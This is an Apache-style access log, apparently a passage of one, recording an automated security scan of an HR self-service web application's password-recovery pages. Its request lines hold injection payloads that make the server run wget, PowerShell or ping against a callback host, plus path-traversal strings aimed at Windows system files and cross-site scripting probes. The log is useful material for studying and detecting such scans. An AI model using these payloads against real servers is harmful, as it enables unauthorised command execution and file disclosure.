"http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd+%24%28wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D276%29&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:23 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:22 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS\"/>// HTTP/1.1" 200 6745 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:22 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS\"/>// HTTP/1.1" 200 6745 100.64.0.1 - - [05/Dec/2025:21:53:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwindows/win.ini&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:22 +0800] "GET /ehr/ess/redirect.php?scriptname=\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:22 +0800] "GET /ehr/ess/redirect.php?scriptname=\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:23 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:23 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:23 +0800] "GET /ehr/ess/redirect.php?scriptname=/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/win.ini%c0%80.html&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:23 +0800] "GET /ehr/ess/redirect.php?scriptname=/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/win.ini%c0%80.html&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:23 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fboot.ini%2500.html HTTP/1.1" 200 6751 100.64.0.1 - - [05/Dec/2025:21:53:23 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fboot.ini%2500.html HTTP/1.1" 200 6751 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:23 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:23 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:25 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/win.ini%c0%80.html&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:25 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:23 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:23 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:24 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22%2F%3E%2F%3C%2Fscript%2F%3E%2F%3Csvg%2Fonload%3Dalert%28278%29+width%3D100%2F%2F%3E HTTP/1.1" 200 6745 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:24 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22%2F%3E%2F%3C%2Fscript%2F%3E%2F%3Csvg%2Fonload%3Dalert%28278%29+width%3D100%2F%2F%3E HTTP/1.1" 200 6745 100.64.0.1 - - [05/Dec/2025:21:53:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:24 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%22powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D279%23&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:24 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%22powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D279%23&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:25 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd%22powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D279%23&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:25 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:24 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%22+ping+-c+1+v3-ping-280-760c2ba4-cacd-4081-91e1-900d04dcbef7.adns.appsechcl.com+%23&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:24 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%22+ping+-c+1+v3-ping-280-760c2ba4-cacd-4081-91e1-900d04dcbef7.adns.appsechcl.com+%23&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:26 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd+%22+ping+-c+1+v3-ping-280-760c2ba4-cacd-4081-91e1-900d04dcbef7.adns.appsechcl.com+%23&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:26 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:24 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fwinnt/win.ini%2500.html HTTP/1.1" 200 6756 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:24 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fwinnt/win.ini%2500.html HTTP/1.1" 200 6756 100.64.0.1 - - [05/Dec/2025:21:53:25 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:25 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:25 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=ProbePhishing HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:25 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=ProbePhishing HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:53:25 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:25 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:53:25 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%22+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D281+%23&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:25 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%22+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D281+%23&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:26 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:26 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:53:27 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd+%22+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D281+%23&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:27 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:25 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS\"/>//// HTTP/1.1" 200 6749 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:25 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS\"/>//// HTTP/1.1" 200 6749 100.64.0.1 - - [05/Dec/2025:21:53:25 +0800] "GET /ehr/ess/redirect.php?scriptname=/..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c../boot.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:25 +0800] "GET /ehr/ess/redirect.php?scriptname=/..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c../boot.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:26 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:26 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:26 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:26 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:27 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=/..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c../boot.ini&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:27 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:26 +0800] "GET /ehr/ess/redirect.php?scriptname=\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:26 +0800] "GET /ehr/ess/redirect.php?scriptname=\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:27 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:27 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:26 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=ProbePhishing" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:26 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:53:26 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fwindows/win.ini%2500.html HTTP/1.1" 200 6758 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:26 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fwindows/win.ini%2500.html HTTP/1.1" 200 6758 100.64.0.1 - - [05/Dec/2025:21:53:26 +0800] "GET /ehr/ess/redirect.php?scriptname=/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini%c0%80.html&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:26 +0800] "GET /ehr/ess/redirect.php?scriptname=/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini%c0%80.html&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:28 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini%c0%80.html&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:28 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:27 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:27 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:27 +0800] "GET /ehr/ess/redirect.php?scriptname='%20+%20''%20+%20'findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:27 +0800] "GET /ehr/ess/redirect.php?scriptname='%20+%20''%20+%20'findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:28 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname='%20+%20''%20+%20'findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:28 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:27 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22%2F%3E%2F%2F%3C%2Fscript%2F%2F%3E%2F%2F%3Csvg%2Fonload%3Dalert%28283%29+width%3D100%2F%2F%2F%3E HTTP/1.1" 200 6749 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:27 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22%2F%3E%2F%2F%3C%2Fscript%2F%2F%3E%2F%2F%3Csvg%2Fonload%3Dalert%28283%29+width%3D100%2F%2F%2F%3E HTTP/1.1" 200 6749 100.64.0.1 - - [05/Dec/2025:21:53:27 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%27powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D284%23&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:27 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%27powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D284%23&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:29 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd%27powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D284%23&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:29 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:27 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%27+ping+-c+1+v3-ping-285-760c2ba4-cacd-4081-91e1-900d04dcbef7.adns.appsechcl.com+%23&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:27 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%27+ping+-c+1+v3-ping-285-760c2ba4-cacd-4081-91e1-900d04dcbef7.adns.appsechcl.com+%23&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:27 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:27 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:27 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:27 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 